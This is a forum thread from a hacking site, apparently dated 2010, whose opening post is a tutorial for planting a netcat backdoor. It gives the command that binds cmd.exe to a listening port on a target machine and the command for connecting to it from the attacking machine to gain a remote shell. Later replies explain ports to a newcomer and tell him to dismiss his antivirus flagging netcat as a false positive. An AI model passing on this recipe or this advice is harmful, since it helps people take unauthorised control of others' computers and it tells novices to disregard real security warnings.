Breaking Sec

Creating a backdoor with nc and connecting to it

First you must download NetCat from the following website:
http://www.downloadnetcat.com

After you download netcat place it to system32.

Now open command line and write this command inside:

nc -v -L -p 80 -e cmd.exe

-v is verbose
-L is to make it to listen
-p is the port you want to listen to.
-e is the program you want to launch when the connection is established

Now on the attacking computer open command line and write this command:

nc -v <IP of the target> 80

Now you have access to the computer.

What's netcat?

(08-23-2010 09:26 PM)Mason Wrote: [ -> ]What's netcat?

You can't be serious?

Oh how I miss my old trolling related sig

You mean teh boxxy one?

Yeah. But yes deport. I was trollin

DL'd NetCat, moved to Sys32. I'm a COMPLETE newbie when it comes to things like this. So, that being said, what is a "port"? And after the program listens to the port, how do you see what's going on? Thanks in advance.

What is a port?
Compare your PC to a castle. The inside of a castle has many doors, for example to the kitchen. The same can be said about programs that use the network or internet. In order for us to connect or be connected to, we need to know which door will allow them/us into the specific program.
When a stranger wants to come to our castle he will need to know the address where our castle is to be found and which door insides the castle to use. Programs represents these two things with numbers.
For example, take a random IP address: 87.6.80.154(address to castle) and a port (door). For most computers the usable ports are from 1 to 65000. From the tutorial, port 80. Therefore: nc -v 87.6.80.154 80

@Mason err.. Xer0day - The mobile version of this site makes me want to punch a baby.

Also, this post is mostly a copypasta, edited for relevance.

Well, that's a very vivid description. So, regardless of the fact Malwarebytes says NetCat is a backdoor, keep it? I'm skeptical, I'm sure you can understand. Someone who has never looked into this subject before gets kind of skittish around shady programs.

It's a false positive. Your antivirus will detect it because it doesn't want you to be spreading virus's and things